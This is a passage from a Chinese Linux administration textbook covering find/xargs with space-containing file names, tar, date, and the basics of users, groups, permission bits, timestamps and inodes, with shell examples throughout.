范例8-38：结合find使用xargs的特殊案例。
 
我们常用的删除文件的安全方法是find.-type f-name"*.txt"|xargs rm-f，但有时这个方法还是会出现一些小问题。比如说在tmp目录下有一个名为“hello world.txt”的文件，这种情况应该如何删除它呢？
 
首先模拟创建看看，直接通过“touch hello world.txt”来创建是不行了，这样做会创建两个文件。下面是两种创建方法。
 


[root@oldboy tmp]# ls

[root@oldboy tmp]# touch "hello word.txt"    #<==第一种创建方法。

[root@oldboy tmp]# ls

hello word.txt

[root@oldboy tmp]# touch hello\ everyone.txt #<==第二种创建方法，反斜线后有一个空格，此时反斜线对空格进行了转义。

[root@oldboy tmp]# ls

hello everyone.txt  hello word.txt




 
这里先用find.-type f-name"*.txt"|xargs rm查看一下结果：
 


[root@oldboy tmp]# find . -type f -name "*.txt"|xargs rm

rm: cannot remove `./hello': No such file or directory

rm: cannot remove `word.txt': No such file or directory

rm: cannot remove `./hello': No such file or directory

rm: cannot remove `everyone.txt': No such file or directory




 
出现上述问题的原因是xargs误认为它们的分隔符是空格，解决方法是以字符null分隔输出，这时使用-0选项，就可以正确执行了，命令如下：
 


[root@oldboy tmp]# find . -type f -name "*.txt" -print0|xargs -0 rm -f

#<==这样就不会有问题了。

[root@oldboy tmp]# ls




8.4　tar：打包压缩命令
 
8.4.1　命令详解
 
【命令星级】　　★★★★★
 
【功能说明】
 
tar是Linux系统里将多个文件打包在一起并且可以实现将打包的文件解压的命令。tar是系统管理员最常用的命令之一，tar命令不但可以实现对多个文件进行打包，还可以实现对多个文件打包后进行压缩。
 
打包是指将一大堆文件或目录变成一个总的文件，压缩则是将一个大的文件通过一些压缩算法变成一个小的文件。
 
【语法格式】
 


tar  [option]  [file]

tar  [选项]     [文件或目录]




 
[image: ]说明：
 
在tar命令及后面的选项里，每个元素之间都至少要有一个空格。
 
【选项说明】
 
tar命令的参数选项的使用有点特殊，对于CentOS Linux来说“tar-z”和“tar z”效果相同，加或不加“-”这个符号都是可以的，这是重点。具体说明参见表8-12。
 
表8-12　tar命令的参数选项及说明
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8.4.2　使用范例
 
1.基础范例
 
范例8-39：备份站点目录html。
 


[root@oldboy ~]# mkdir -p /var/www/html/oldboy/test   #<==先生成测试文件。

[root@oldboy ~]# touch /var/www/html/{1..5}.html      #<==创建5个待备份文件。

[root@oldboy ~]# ls /var/www/html/

1.html  2.html  3.html  4.html  5.html  oldboy 

[root@oldboy ~]# cd /var/www/                          #<==进入到目标目录的上一级目录打包。

[root@oldboy www]# ls

html

[root@oldboy www]# tar zcvf www.tar.gz ./html/ 

          #<==选项v会显示打包的过程，大家需要记住常用的打包命令组合zcvf，如果不想显示打包过程，则可以省略v选项，即选项组合为zcf。

./html/

./html/1.html

./html/5.html

./html/3.html

./html/oldboy/

./html/oldboy/test/

./html/2.html

./html/4.html

[root@oldboy www]# ll -h www.tar.gz 

-rw-r--r-- 1 root root 260 Nov 18 17:26 www.tar.gz




 
范例8-40：查看压缩包内的内容。
 


[root@oldboy www]# tar ztvf www.tar.gz     #<==使用选项t不解压就可以查看压缩包的内容，选项v可以显示文件的属性。

drwxr-xr-x root/root         0 2019-11-18 17:15 ./html/

-rw-r--r-- root/root         0 2019-11-18 17:26 ./html/10.html

-rw-r--r-- root/root         0 2019-11-18 17:26 ./html/8.html

……

[root@oldboy www]# tar ztf www.tar.gz     #<==省略v选项。

./html/

./html/2.html

./html/1.html

……

[root@oldboy www]# tar tf www.tar.gz     #<==如果不指定z选项，那么tar命令也会自动判断压缩包的类型，自动调用gzip命令。

./html/

./html/2.html

./html/1.html

……




 
范例8-41：解压缩包的示例。
 


[root@oldboy /]# tar zxvf www.tar.gz -C /tmp/     #<==选项C指定解压路径，不加C解压到当前目录。

./html/

./html/1.html

./html/2.html

……

[root@oldboy www]# ls /tmp/html/

1.html  2.html  3.html  4.html  5.html  oldboy 

[root@oldboy /]# tar xf www.tar.gz -C /tmp/     #<==如果不想看到太多的输出，则可以去掉v选项，功能不会受到影响。同时z选项也可以省略，只要涉及解压的操作，tar命令就能自动识别压缩包的压缩类型，但是压缩时必须要加上z选项。




 
[image: ]说明：
 
tar xfC www.tar.gz/tmp/这种格式也可以，但是没有上面的命令直观好记。
 
范例8-42：排除打包的示例。
 


[root@oldboy www]# tar zcvf www.tar.gz ./html/ --exclude=html/oldboy/test    #<==test目录的结尾不要加“/”，否则会不成功。

./html/

./html/1.html

./html/5.html

./html/3.html

./html/oldboy/

./html/2.html

./html/4.html

[root@oldboy www]# tar zcvf www.tar.gz ./html/ --exclude=html/oldboy/test --exclude=html/oldboy #<==排除2个以上目录的方法：并列使用多个--exclude。

./html/

./html/1.html

./html/5.html

./html/3.html

./html/2.html

./html/4.html




 
范例8-43：打包软链接文件的示例。
 


[root@oldboy www]# cd /etc/

[root@oldboy etc]# tar zcf local.tar.gz ./rc.local  #<==使用常规参数zcf打包。

[root@oldboy etc]# tar tfv local.tar.gz             #<==不解压查看文件内容。

lrwxrwxrwx root/root         0 2019-02-09 21:59 ./rc.local -> rc.d/rc.local

#<==这里是一个坑，如果不加特殊参数，那么打包之后的文件将是个软链接文件，而不是rc.local的实体内容。




 
采用-h参数打包链接文件，示例代码如下：
 


[root@oldboy etc]# tar zcfh local_h.tar.gz ./rc.local  #<==额外加上h参数进行打包。

[root@oldboy etc]# tar tfv local_h.tar.gz               

-rwxr-xr-x root/root       220 2014-10-16 22:53 ./rc.local




 
对比压缩包内的文件类型之后，大家应该可以看出区别了吧？利用tar的通用选项zcf打包文件时，如果这个文件是链接文件（如/etc/rc.local），那么tar只会对链接文件本身打包，而不是对链接文件指向的真实文件打包，因此还需要额外使用-h选项将软链接文件对应的实体文件打包。
 
2.生产案例
 
范例8-44：对/etc目录下所有的普通文件打包。
 


[root@oldboy www]# cd /etc/

[root@oldboy etc]# ls

abrt                       inputrc                       quotatab

acpi                       iproute2                      rc

…………

#<==如果etc下包含有目录、普通文件等，那么怎样才能将普通文件找出来并打包在一个文件中？

[root@oldboy /]# tar zcvf etc.tar.gz `find etc/ -type f`  

     #<==使用find命令找到所有普通文件，在tar命令语句中嵌套一个反引号包含的find命令语句。

etc/ld.so.conf.d/kernel-2.6.32-573.el6.x86_64.conf

etc/ld.so.conf.d/mysql-x86_64.conf

etc/prelink.conf.d/nss-softokn-prelink.conf

etc/mailcap

…………输出省略

[root@oldboy /]# ll -h etc.tar.gz 

-rw-r--r-- 1 root root 9.3M Nov 18 18:34 etc.tar.gz




 
8.4.3　经验技巧
 
在打包时，有以下经验技巧可供读者参考。
 
1）在打包一个目录之前，先进入到这个目录的上一级目录，然后执行打包命令，这是大部分情况下打包文件的规范操作流程。少数情况下，当打包需要完整的目录结构时，可以使用绝对路径进行打包，但是需要注意解压tar包时压缩包内的文件是否会覆盖原始文件。
 
2）打包模型为：tar zcf/路径/筐.tar.gz相对路径/苹果。打包其实就是将苹果放进筐里。
8.5　date：显示与设置系统时间
 
8.5.1　命令详解
 
【命令星级】　　★★★★★
 
【功能说明】
 
date命令用于显示当前的系统时间或设置系统时间。
 
【语法格式】
 


date  [option]  [+FORMAT]

date  [选项]    [+日期格式]




 
【选项说明】
 
表8-13针对date命令的参数选项进行了说明。
 
表8-13　date命令的参数选项及说明
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8.5.2　使用范例
 
范例8-45：常用时间格式测试例子。
 
大家可以对着上面的表格逐一测试参数，这里限于篇幅仅列举一部分：
 


[root@oldboy ~]# date +%y #<==显示年（短格式）。

17

[root@oldboy ~]# date +%Y #<==显示年（长格式）。

2017

[root@oldboy ~]# date +%m #<==显示月。

07

[root@oldboy ~]# date +%d #<==显示日。

06

[root@oldboy ~]# date +%H #<==显示小时。

21

[root@oldboy ~]# date +%M #<==显示分。

01

[root@oldboy ~]# date +%S #<==显示秒。

25

[root@oldboy ~]# date +%F #<==显示特殊格式日期（年-月-日）。

2017-07-06

[root@oldboy ~]# date +%T #<==显示特殊格式时间（时：分：秒）。

21:03:08




 
范例8-46：通过参数-d显示指定字符串所描述的时间的示例。
 


[root@oldboy ~]# date +%F -d "-1day"       #<==显示昨天（简洁写法）。

2017-07-05

[root@oldboy ~]# date +%F -d "yesterday"   #<==显示昨天（英文写法）。

2017-07-05

[root@oldboy ~]# date +%F -d "-2day"       #<==显示前天。

2017-07-04

[root@oldboy ~]# date +%F -d "+1day"       #<==显示明天。

2017-07-07

[root@oldboy ~]# date +%F -d "tomorrow"    #<==显示明天（英文写法）。

2017-07-07

[root@oldboy ~]# date +%F -d "+2day"       #<==显示2天后。

2017-07-08

[root@oldboy ~]# date +%F -d "1month"      #<==显示1个月后。

2017-08-06

[root@oldboy ~]# date +%F -d "1year"       #<==显示1年后。

2018-07-06

#<==说明：这里的+号表示未来，-号表示过去，day表示日，year表示年，month表示月

[root@oldboy ~]# date +%F -d "24hour"

2017-07-07

[root@oldboy ~]# date +%F -d "1440min"

2017-07-07

[root@oldboy ~]# date +%F -d "-1440min"

2017-07-05




 
[image: ]说明：
 
这里的hour表示小时，min表示分。
 
范例8-47：时间格式转换例子。
 


[root@oldboy ~]# date -d "Thu Jul  6 21:41:16 CST 2017" "+%Y-%m-%d %H:%M:%S"

2017-07-06 21:41:16




 
[image: ]说明：
 
-d选项后面应接上需要转化的时间，最后再接上你想要输出的时间格式。
 
下面是一个企业面试题，要求转换日志的时间格式，解答该题会利用到上面的知识点，同时还会使用awk命令。
 
备用数据如下：
 


[root@oldboy ~]# cat test.log 

Sat May 19 13:40:02 CST 2019 is 13213213

Sat May 19 19:37:43 CST 2019 is 1012122

Sat May 19 13:40:03 CST 2019 is 13213213

Sat May 19 19:37:42 CST 2019 is 1012122

Sat May 19 13:40:03 CST 2019 is 13213213

Sat May 19 19:37:43 CST 2019 is 1012122




 
解答过程如下：
 


[root@oldboy ~]# awk -F "is" '{print "echo $(date -d \""$1"\" \"+%F %T \")",$2}' test.log

#<==对内容按照命令进行拼接。

echo $(date -d "Sat May 19 13:40:02 CST 2019 " "+%F %T ")  13213213

echo $（date -d "Sat May 19 19:37:43 CST 2019 " "+%F %T "）  1012122

echo $（date -d "Sat May 19 13:40:03 CST 2019 " "+%F %T "）  13213213

echo $（date -d "Sat May 19 19:37:42 CST 2019 " "+%F %T "）  1012122

echo $（date -d "Sat May 19 13:40:03 CST 2019 " "+%F %T "）  13213213

echo $（date -d "Sat May 19 19:37:43 CST 2019 " "+%F %T "）  1012122

[root@oldboy ~]# awk -F "is" '{print "echo $（date -d \""$1"\" \"+%F %T \"）",$2}' test.log|bash

2019-05-19 13:40:02 13213213

2019-05-19 19:37:43 1012122

2019-05-19 13:40:03 13213213

2019-05-19 19:37:42 1012122

2019-05-19 13:40:03 13213213

2019-05-19 19:37:43 1012122

#<==命令说明：使用is作为分隔符，$1是“Sat May 19 13:40:02 CST 2019”，$2是“13213213”，首先使用date命令对原时间格式进行转换，然后利用awk拼凑出如下格式，最后使用bash执行命令。




 
范例8-48：通过参数-s设定时间。
 


[root@oldboy ~]# date -s 20170706              #<==设置成20170706，具体时间为空即00:00:00。

Thu Jul  6 00:00:00 CST 2017

[root@oldboy ~]# date -s 00:00:03               #<==设置具体时间，不会对日期做更改。

Thu Jul  6 00:00:03 CST 2017

[root@oldboy ~]# date -s "00:00:03 20170706"    #<==这样可以设置全部时间。

Thu Jul  6 00:00:03 CST 2017

[root@oldboy ~]# date -s "00:00:03 2017-07-06"  #<==日期可使用不同的格式。

Thu Jul  6 00:00:03 CST 2017

[root@oldboy ~]# date -s "00:00:03 2017/07/06"  #<==日期可使用不同的格式。

Thu Jul  6 00:00:03 CST 2017




8.6　本章重点
 
1）Linux中的文件类型知识。
 
2）重点要掌握的命令：which、find、xargs、tar、date。
第9章　Linux文件核心属性知识
 
9.1　回顾Linux文件属性知识

 
前文已经讲解过，Linux系统中的文件或目录的属性主要包括：索引节点（Inode）、文件类型、权限属性、链接数、所归属的用户和用户组、最近的修改时间等内容，更多内容请读者回顾第8章，此处不再赘述。
 
本章将为大家讲解剩余文件属性的含义，以及相关的重要Linux基础知识。
9.2　用户及用户组
 
用户和用户组是Linux系统中很重要的知识，本节将介绍Linux相关的基础知识，后文会进行更详细的讲解。用户和用户组的属性对应于命令ls-lhi/data结果中的第4列和第5列，示例如下：
 


139170 -rw-r--r--. 1 root root 22 Mar 11 15:17 oldboy.txt




 
[image: ]说明：
 
命令中带有不同颜色底纹的root字符串的第4列表示用户（也叫属主）列，第5列表示用户组列。
 
9.2.1　Linux多用户多任务介绍
 
Linux是一个多用户、多任务的操作系统，在讲解Linux用户及用户组之前，我们先来简单了解下多用户、多任务操作系统的概念。
 
1.Linux单用户多任务
 
鉴于大家对Windows系统比较熟悉，因此这里先以Windows系统为例进行阐述。假设我们在以管理员账号administrator登录Windows系统之后，需要编辑word文档里的内容，但是在编辑文件的过程中，又想打开音乐播放器听音乐；同时还打开了微信或QQ。那么这其中编辑word文档、打开播放器、登录微信或QQ，这些操作每种都是一项任务。因此，在以上过程中我们同时执行了若干个任务，也就是说，一个administrator用户，为了完成工作和相关的任务，同时执行了若干个服务或进程。事实上，Linux也是这样的一个操作系统，当你登录后，你也可以同时开启很多的服务任务和进程，而各个服务都会运行得很好，且对其他任务没有任何影响，这种一个用户登录系统执行多个服务任务和进程的情况，就称为单用户多任务。
 
2.Linux多用户多任务
 
有时可能是很多用户同时使用同一个系统，如笔者所在公司的机器，每台机器都可以被若干个运维人员登录部署或解决相关的故障问题，但并不是所有的运维人员都要做同一件事情，所以这就存在多用户、多任务的情况。
 
举个例子，比如oldboyedu.com服务器，上面有系统管理员root用户、Apache用户、常规普通用户等。在同一时刻，可能有的人正在上传软件包部署Apache服务；有的正在查看服务器日志，有的人正在登录编写Shell程序；不同的维护人员对系统的维护或查看，所用的账号既可以是不同的普通账号，也可以是超级账号root；不同用户所具有的权限也不同，不同的任务由不同的维护人员来完成，也可以说是不同的用户。
 
值得注意的是，多用户、多任务并不是指大家同时挤到一台机器的键盘和显示器前来操作机器，多用户可能是通过SSH客户端工具等远程登录到服务器上来进行的，比如对服务器的远程控制，只要具有相关用户的权限，任何人都可以访问服务器。
 
9.2.2　用户（user）介绍
 
通过前文的讲述，相信大家已经知道，Linux是一个多用户、多任务的分时操作系统。如果要使用系统资源，就必须向系统管理员申请一个账户，然后通过这个账户进入系统。这个账户和用户是同一个概念，可以通过建立不同属性的用户来实现不同的作用或权限，一方面，可以合理地利用和控制系统资源，另一方面也可以帮助用户组织文件，提供对用户文件的安全性保护。
 
每个用户都拥有一个唯一的用户名和用户口令，在登录系统时，只有正确输入了用户名和密码，才能登入系统和相应的目录（除了密码验证之外，还可以是密钥验证）。
 
在生产环境中，我们一般会为每个有权限管理服务器的运维人员分配一个独立的普通用户账号及8位（包含数字、字母、特殊字符）以上的密码，如oldboy。该人员只能通过这个账号登录到系统中进行维护，当需要超级用户权限时，可以通过“sudo命令名”的方式来执行仅root用户才允许执行的权限。当然，sudo权限要尽量地小。此外，当运维人数不多时（如两三个），也可以直接通过su-命令切换到超级用户root下执行相应的维护工作。在这里需要特别提醒大家注意的是，维护时，如果不需要root权限，就不要进入root用户下操作，以减少误操作对系统带来的故障风险，请读者切记。
 
[image: ]提示：sudo和su是两个重要的切换用户角色的命令，后文会详细讲解。
 
9.2.3　Linux系统中用户角色的划分
 
在Linux系统中用户是分角色的，由于用户角色不同，权限和所完成的任务也不同；值得注意的是，对于Linux系统来说，用户的角色是通过UID和GID来识别的。
 
特别是UID，在Linux系统运维工作中，一个UID可以唯一标识一个系统用户的账号（相当于我们的身份证）。用户系统账号的名称（如oldboy）其实是给人（管理员）看的，Linux系统能够识别的仅仅是UID和GID这样的数字。
 
·UID（User Identify）：用户ID，相当于各位的身份证，在系统中是唯一的。

·GID（Group Identify）：组ID，相当于各位的家庭住址或者你们的学校ID，户口本的“号码”等。
 
1.超级用户：root（皇帝）
 
若将root比喻为皇帝，那么root的家目录就是皇宫，操作系统就是整个国家。
 
默认是root用户，它的UID和GID均为0。root用户在每台Unix/Linux操作系统中都是唯一且真实存在的，通过它可以登录系统，可以操作系统中的任何文件和命令，拥有最高的管理权限。
 
在生产环境中，一般会禁止root账号通过SSH远程连接服务器（保护好皇帝），当然了，也会更改默认的SSH端口（保护好皇宫），以加强系统安全。
 
在企业工作中，如果没有特殊需求，应该尽量在普通用户下操作任务，而不是在root账户下。
 
在Linux系统中，UID为0的用户就是超级用户。但是通常不会将用户的UID改为0，而是通过sudo命令管理提权，可以细分到每个命令的权限分配。
 
2.普通用户（老百姓）
 
这类用户一般是由具备系统管理员root权限的运维或系统管理人员添加的。例如，oldboy这类用户可以登录系统，但仅具备操作自己家目录中的文件及目录的权限，除此之外，还可以进入或浏览相关目录（如/etc、/var/log），但是无法创建、修改和删除任何文件。
 
普通用户可比喻成皇帝的臣民/贫民，别干坏事，国家有法律管束你。若为普通用户授权权限（sudo），就相当于为臣民封官。
 
普通用户可通过命令su-或su-root切换到root用户角色，这种切换类似于农民起义，推翻了皇帝，自己当皇帝。
 
sudo ls命令表示授权相关用户在执行ls命令时，具有sudo配置的权限，一般是在执行ls命令的过程中才具有root用户的权限，可将sudo理解为尚方宝剑，可通过它为皇帝办事，有一定的权限，但还是自己。
 
3.虚拟用户（傀儡）
 
要将虚假用户与真实的普通用户区分开来，这类用户最大的特点是安装系统后会默认存在，且默认情况下大多数不能登录系统，但是，它们是系统正常运行不可缺少的，它们的存在主要是为了方便系统管理，满足相应的系统进程对文件属主的要求。例如，系统默认的bin、adm、nobody、mail用户等。由于服务器业务角色的不同，一部分用不到的系统服务会被禁止开机执行，因此，在做系统安全优化时，被禁止开机启动了的服务所对应的虚拟用户也可以处理掉（删除或注释）。
 
Linux安全优化注意事项
 
·安装系统后可以删除用不到的虚拟用户，但最好不要删除而是注释掉，万一出现问题还可以恢复回来。
 
·在部署服务的时候，一般需要创建虚拟用户，满足服务启动的属主需求！例如，在部署Apache、Nginx、MySQL、NFS、Rsync、Zabbix、Redis等服务时就需要预先创建好对应的虚拟用户，然后再部署服务。
 
9.2.4　Linux系统中不同用户角色对应的UID说明
 
下面的表9-1针对Linux用户进行了分类说明。
 
表9-1　有关Linux用户的分类说明
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9.2.5　多用户操作系统的安全
 
从实际应用来看，多用户系统使得系统管理变得更为方便了；从安全角度来说，多用户系统也更为安全，比如普通用户oldboy下的某个文件不想让其他用户看到，只需设置一下该文件的权限为只有普通用户oldboy一个用户可读可写可编辑（后文会详细讲解权限相关的内容）就行了，这样一来就只有普通用户oldboy一个用户可以对其私有文件进行操作，从而保护了每个用户私有数据的安全性。
 
9.2.6　用户组（group）介绍
 
简单地说，Linux系统中的用户组（group）就是具有相同特征的用户（user）集合；为了便于大家理解，这里打个比方：一个公司、一个家庭就是一个集合，类似于这里的用户组，公司的员工和家庭中的成员就相当于这里的用户。
 
有时我们需要让多个用户具有相同的权限，比如查看、修改某一文件或目录，如果不用用户组，那么这种需求在授权时就会很难实现。有了用户组就方便多了，只需要将授权的用户都加入到同一用户组里，然后修改与该文件或目录对应的用户组的权限，即让用户组具有符合需求的操作权限即可。这样用户组下的所有用户对该文件或目录就会具有相同的权限，这就是用户组的用途。
 
将用户分组是Linux系统（Windows中也是一样的）中对用户进行管理及控制访问权限的一种手段，定义用户组，可以在很大程度上简化运维管理的工作。
 
实际上，在日常生活中，对人类的分组也是无处不在的，大到国家，小到公司、家庭、学校、班级等都是类似于Linux中用户组的概念，而其中的成员就类似于Linux用户组中用户的概念。
 
用户和用户组的对应关系有：一对一、一对多、多对一和多对多。为了方便大家理解，下面通过图9-1更形象地来展示这种关系。
 
 
 [image: ] 


图9-1　用户与用户组关系
 
用户和用户组的对应关系具体说明如下。
 
·一对一：即一个用户可以存在一个组中，也可以是组中的唯一成员（如，root）。

·一对多：即一个用户可以存在于多个用户组中。比如，图9-1中普通用户oldboy可以是sa组成员，也可以是Java用户组成员，还可以是tech用户组成员，这里的oldboy用户具有sa、Java、tech等多个组的共同权限。

·多对一：多个用户可以存在于一个组中，这些用户具有与组相同的权限，这条已在上文中讲解过。

·多对多：多个用户可以存在于多个组中，并且几个用户可以归属于相同的组。其实多对多的关系是前面三条的扩展，理解了上面的三条，这条也就好理解了。
 
9.2.7　创建用户及用户组命令
 
要想创建Linux用户，就需要用到useradd命令，具体操作如下：
 


[root@oldboy ~]# useradd oldboy     #<==添加用户oldboy，会默认创建一个oldboy用户组，人必须属于家庭，所以用户创建也必须要属于一个组，默认就属于与用户同名的组。

[root@oldboy ~]# id oldboy     #<==查看oldboy用户、组及ID信息。

uid=500（oldboy） gid=500（oldboy） groups=500（oldboy）

[root@oldboy ~]# groupadd sa     #<==添加sa用户组，用户组可以单独存在，而没有用户属于组。

[root@oldboy ~]# su - oldboy     #<==从root用户切换到oldboy用户下。

[oldboy@oldboy ~]$ touch test.txt     #<==创建文件，注意提示符变成了$。

[oldboy@oldboy ~]$ mkdir inca     #<==创建目录。

[oldboy@oldboy ~]$ ls -l

total 4

drwxrwxr-x. 2 oldboy oldboy 4096 Mar 13 06:13 inca     #<==目录默认属于创建它的用户和组。

-rw-rw-r--. 1 oldboy oldboy    0 Mar 13 06:13 test.txt     #<==文件默认属于创建它的用户和组。

#<==文件生成一定是由用户创建的，因此文件一生成也必须要属于一个用户及组，默认就是属于创建它的用户的和组。




 
更多有关用户及用户组的知识，请阅读后文的相关章节。
9.3　文件的权限列
 
文件的权限是Linux系统极其重要的知识，本节将介绍相关的基本知识，后文还会有更详细的讲解。文件的权限列属性对应于命令ls-lhi/data结果中第2列中间的9位字符串，示例代码如下：
 


139170 -rw-r--r--. 1 root root 22 Mar 11 15:17 oldboy.txt




 
对于文件权限列的说明具体如下。
 
1）代码中带有不同颜色底纹的rw-r--r--字符串就表示文件对应的访问权限。
 
2）第二列权限的结尾多了个点号，大家看到了吗？当系统的SeLinux功能开启时，这个地方就会多一个点号，这个点号是与SeLinux（企业里大多会将Selinux功能停止掉）相关联的，没有什么实际用途，有关点号的作用仅在此提及，其他地方不再赘述。
 
文件权限说明
 
在Linux中，文件或目录的权限与用户及用户组的关联很大，要理解这部分内容，需要先了解一下Linux系统中用户管理方面的知识。前文已经详细讲解过这部分内容，更多用户管理文档的细节请参考后面的章节。
 
在Linux中，每个文件或目录都有一组共9个基础权限位，每三位字符分为一组，它们分别是属主（也称用户）权限位（占开头的前三个字符，如rw-）、用户组权限位（占中间的三个字符，如r--）、其他用户权限位（占结尾的三个字符，如r--）。最终形式如“rw-r--r--”。Linux正是通过这9个权限（更多权限位后面会提到）位来控制文件用户（或称属主，即Owner/User）、用户组（或称属组，即Group）以及其他用户（Other）对文件的访问权限的，不同组的权限位说明如图9-2所示。
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图9-2　9位权限位对应功能说明
 
不同权限位对应的用户和组权限控制的详细图解如图9-3所示。
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图9-3　不同权限位对应的用户和组权限控制的具体图解
 
其中，表示权限的字符r、w、x、“-”分别代表了特定的含义，具体说明如下。
 
·r（read）：可读权限，对应数字4。

·w（write）：可写权限，对应数字2。

·x（Execute）：可执行权限，对应数字1。

·没有任何权限，对应数字0。
 
后文还会提到一些特殊的权限位t、T、s、S、X、x、“+”，暂且忽略不表。
 
在图9-3中，oldboyfile所属的用户为root，即root用户对oldboyfile文件的访问权限对应于前3个字符。因为这里的前3个字符为rwx，所以root用户对oldboyfile有读、写和执行的权限。
 
而oldboyfile所属的用户组为root，即root用户组内的成员对oldboyfile文件的访问权限对应于中间3个字符。因为这里中间的3个字符为r-x，所以root用户组的任意成员对oldboyfile有读和执行的权限，但没有写的权限。
 
同理，非root用户和root用户组的成员对oldboyfile文件的访问权限对应于最后3个字符。因为这里的最后3个字符为r-x，所以其他用户和组对oldboyfile有读和执行的权限，没有写的权限。
 
有关文件权限的更多内容，请参见后面章节的详解。
9.4　文件的修改时间属性列
 
文件的时间戳是Linux系统中不太重要的知识，读者了解即可。文件的最后修改时间列属性对应于命令ls-lhi/data结果中的第7～9列，示例代码如下：
 


139170-rw-r--r--. 1 root root 22 Mar 11 15:17 oldboy.txt




 
[image: ]说明：
 
代码中带有不同颜色底纹的Mar 11 15：17字符串就表示文件对应的最后修改时间。
 
文件的时间戳属性具体包含3种类型，即访问时间（access）、修改时间（modify）、改变时间（change），详细描述如下：
 


Access: 2017-07-30 17:48:20.502156890 +0800    #<==文件最后被访问的时间。

Modify: 2017-07-30 17:48:45.006106223 +0800    #<==文件最后被修改的时间。

Change: 2017-07-30 17:48:45.006106223 +0800    #<==文件状态最后被改变的时间。




 
对应ls命令，查看上述时间戳的选项，详细描述如下：
 


mtime: 最后修改时间（ls -lt） #<==修改文件内容，文件的修改时间（modify time）会改变。

ctime: 状态改变时间（ls -lc） #<==修改文件内容、移动文件或改变文件属性等，文件的change时间会改变。




 
当执行ls-l命令时，显示的是文件的最后修改时间，有关更改时间戳的知识，可以参考前文的touch、ls命令章节。
9.5　索引节点
 
索引节点（Inode）是Linux系统中重要的基础知识，这部分知识内容比较复杂，不易理解，因为其中会涉及Linux文件系统的核心知识，在这里读者尽力理解就行了，实在理解不了，等阅读了磁盘和文件系统的相关章节后再回头来看，相信那时再来理解就简单了。
 
索引节点Inode列的属性对应于“ls-lhi/data”命令结果中第1列的一串数字，示例代码如下：
 


139170 -rw-r--r--. 1 root root 22 Mar 11 15:17 oldboy.txt




 
上面代码中带底纹的139170这串数字就表示文件对应的索引节点，这里所提的文件也包含目录，广义地讲，Linux里一切皆文件，针对文件的说明几乎同样都适用于目录。
 
9.5.1　Linux磁盘存储数据的经典描述
 
一块磁盘从放入计算机到被Linux系统识别，再到最终可以存储数据是需要一系列处理过程的，具体过程如下。
 
1）磁盘要存储数据，就相当于盖房子住人。
 
2）磁盘要分区才能存储数据，相当于盖房后，要打隔断分出卧室、厨房、卫生间等区域。
 
3）磁盘分区完成后，还要进行格式化，创建文件系统才能存储数据，相当于房子打完隔断后还得装修（不同的装修的风格相当于不同的文件系统）。
 
4）磁盘分完区格式化后还必须要挂载到指定的目录（即挂载点）下才能存放数据，这相当于为房子安装门和窗户，最终人才能进出、与外界通信以及居住。
 
希望通过这个比喻，读者对磁盘的使用过程有了一个基本的了解。
 
9.5.2　什么是索引节点
 
索引节点（Index node，Inode）在每个Linux存储设备（磁盘或硬盘）或存储设备的分区（此时的存储设备可以是硬盘、软盘、U盘，等等）中被格式化为ext系列文件系统之后，都会生成两部分内容：第一部分是Inode（默认大小为128或256字节），第二部分是Block（默认大小为1～4KB）。由于磁盘或分区一般都比较大，因此，Inode和Block都会存在很多个，并且都可以存放数据信息。
 
Inode本质上是一小块具备唯一数字编号的存储空间，主要用来存放文件（目录）属性（例如ls-l的结果）的数据信息，注意，Inode里面唯独不包含文件名本身（文件名不算文件的属性）。
 
Block称为磁盘块，是用来存放实际数据的实体单元（ext文件系统一般最大为4KB），即用来存放真正的数据，例如，照片、视频等普通文件数据，单个的大文件需要占用多个Block块来存储，特别小的单个文件如果不能占满整个Block块，那么剩余的空间也无法再利用。
 
Inode存储的属性信息（即ls-l的结果），包括但不限于文件大小、属主（用户）、归属的用户组、文件权限、文件类型，“修改”时间等，还包含指向文件的实体指针等（Block的位置，即Inode节点与Block的对应关系）。
 
9.5.3　查看文件内容与Inode和Block的关系
 
Inode除了要记录文件属性的信息之外，还会为每个文件进行信息索引，所以就有了Inode的数值。操作系统根据指令，即可通过Inode的值最快速地找到相对应的文件实体。文件、Inode和Block之间的关系见图9-4。
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图9-4　查看文件内容与Inode和Block的关系
 
老男孩教育的教室门口贴了一张纸（相当于Inode），纸上标有大家的名字和座位信息，这些信息就相当于是文件的属性信息。学生的座位就相当于是Block（实际文件的实体），如图9-5所示。
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图9-5　老男孩教育教室门口学员信息
 
无论是班主任、导师、讲师，还是其他人，如果想找学生，只要看这张表，就可以快速定位到具体的位置并找到对应的学员，Linux系统查找数据就是根据这样的方法，只不过这张表对应的就是Inode，座位对应的就是磁盘的Block。
 
再打个比方，比如一本书，存储设备或分区就相当于这本书（如图9-6所示），Block相当于书中的每一页内容，而Inode就相当于这本书前面的目录，一本书包含了很多内容，一个知识点可能有多页，如果想查找某部分或某知识点的内容，我们一般会先查看书的目录，通过目录我们能够更快地找到想要查看的知识点相关内容。虽然这样类比不太恰当，但还算是比较形象。
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图9-6　Inode与Block的关系
 
当我们使用ls命令查看某个目录或文件时，如果加上-i参数，就可以看到Inode节点了；根据前面所讲的例子，使用的命令ls-li中若带有-i参数，即可查看文件的Inode数值，示例代码如下：
 


[root@oldboy ~]# ls -li /etc/hosts

130078 -rw-r--r--. 2 root root 208 Mar 11 00:21 /etc/hosts




 
[image: ]提示：也可以使用stat查看文件属性，以及相应的Inode数值。
 
9.5.4　Inode和Block的特点
 
1.Inode的特点
 
总体来说，Inode具有如下一些特点。
 
·ext3/ext4文件系统（CentOS 5.x/6.x默认的文件系统）下，一个非空文件至少要占用一个Inode（有且只有一个）和一个Block（可以有多个）。

·Inode节点号相同的文件，互为硬链接文件，可以认为是一个文件的不同入口。

·Inode在某一个文件系统（分区）内是唯一的。
 
2.Block的特点
 
Block的特点具体如下。
 
·磁盘读取数据是以Block为单位进行读取的。

·每读取一个Block就会消耗一次磁盘I/O（input/output，磁盘读写）。

·若文件比较大，那么一个文件可能占用多个Block。

·若文件比较小，那么一个Block的剩余空间会被浪费，无论内容有多小。
 
9.5.5　查看和管理Inode
 
查看文件系统Inode总量以及剩余量的命令如下：
 


[root@oldboy /]# df -i

Filesystem     Inodes IUsed  IFree IUse% Mounted on

/dev/sda3      479552 56299 423253   12% /

tmpfs          127032     1 127031    1% /dev/shm

/dev/sda1       51200    38  51162    1% /boot




 
查看磁盘的使用量相当于是查看Block的情况，示例命令如下：
 


[root@oldboy data]# df –h  #Block是存放数据的位置,数据实体

Filesystem      Size  Used Avail Use% Mounted on

/dev/sda3       9.2G  1.6G  7.2G  19% /

tmpfs           937M     0  937M   0% /dev/shm

